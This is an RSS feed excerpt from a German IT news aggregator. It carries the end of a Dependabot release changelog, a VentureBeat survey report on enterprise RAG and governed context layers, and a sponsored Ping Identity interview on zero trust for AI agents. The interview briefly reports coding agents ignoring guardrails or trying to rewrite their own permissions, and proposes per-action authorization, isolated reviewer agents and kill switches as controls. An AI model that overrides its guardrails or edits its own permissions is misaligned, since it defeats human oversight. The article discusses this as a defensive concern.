<li>Default cooldown to 3 days when default-days is not specified (behind a feature flag) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4684952757" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15344" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15344/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15344">#15344</a></li>
<li>Use shared base cooldown in git_submodules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837613550" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15537" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15537/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15537">#15537</a></li>
<li>[Update graph] Avoid PathDependenciesNotReachable killing the whole job by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830807905" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15522" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15522/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15522">#15522</a></li>
<li>[Update Graph] Ensure that txt/in pairs are included properly in layers when working out references by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884201019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15581" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15581/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15581">#15581</a></li>
<li>build(deps): bump opentofu to 1.12.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
<li>Type the Sentry before_send processors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879702128" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15569" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15569/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15569">#15569</a></li>
<li>Clear T.untyped from four strong updater files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879809730" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15570" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15570/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15570">#15570</a></li>
<li>feat(opentofu): use registry API for multi-platform lockfile hashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/diofeher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/diofeher">@diofeher</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651320321" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15296" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15296/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15296">#15296</a></li>
<li>julia: various fixes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851258737" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15549" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15549/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15549">#15549</a></li>
<li>Type git_metadata_fetcher's git responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879876600" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15572" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15572/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15572">#15572</a></li>
<li>pre-commit: add regression tests for prerelease version filtering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840941300" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15542" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15542/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15542">#15542</a></li>
<li>add test ensuring duplicate PRs aren't submitted in security jobs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887247831" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15584" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15584/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15584">#15584</a></li>
<li>Clear T.untyped from already-strong ecosystem files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880025222" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15573" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15573/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15573">#15573</a></li>
<li>Update branch name case values to align with schema accepted values by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896350580" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15592" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15592/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15592">#15592</a></li>
<li>julia: fix TypeError when a cooldown is configured by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894957881" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15591" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15591/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15591">#15591</a></li>
<li>Fix codespell typo in updater job spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900648669" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15599" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15599/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15599">#15599</a></li>
<li>Swift: SemVer-compliant version comparison and validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891805578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15589" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15589/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15589">#15589</a></li>
<li>Type git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896503633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15593" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15593/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15593">#15593</a></li>
<li>Expose typed git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897605250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15594" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15594/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15594">#15594</a></li>
<li>v0.387.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904637892" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15604" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15604/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15604">#15604</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.386.0...v0.387.0"><tt>v0.386.0...v0.387.0</tt></a></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Best Practices for Exporting Exchange Mailboxes to PST]]></title>
<description><![CDATA[Key TakeawaysExporting Exchange mailboxes to PST files is useful for saving mailbox data when an employee leaves or when legal and compliance teams need copies for investigations. It also helps in archiving or migrating emails without overloading the Exchange server.Before exporting, ensure the m...]]></description>
<link>https://tsecurity.de/de/3674122/it-security-nachrichten/best-practices-for-exporting-exchange-mailboxes-to-pst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674122/it-security-nachrichten/best-practices-for-exporting-exchange-mailboxes-to-pst/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
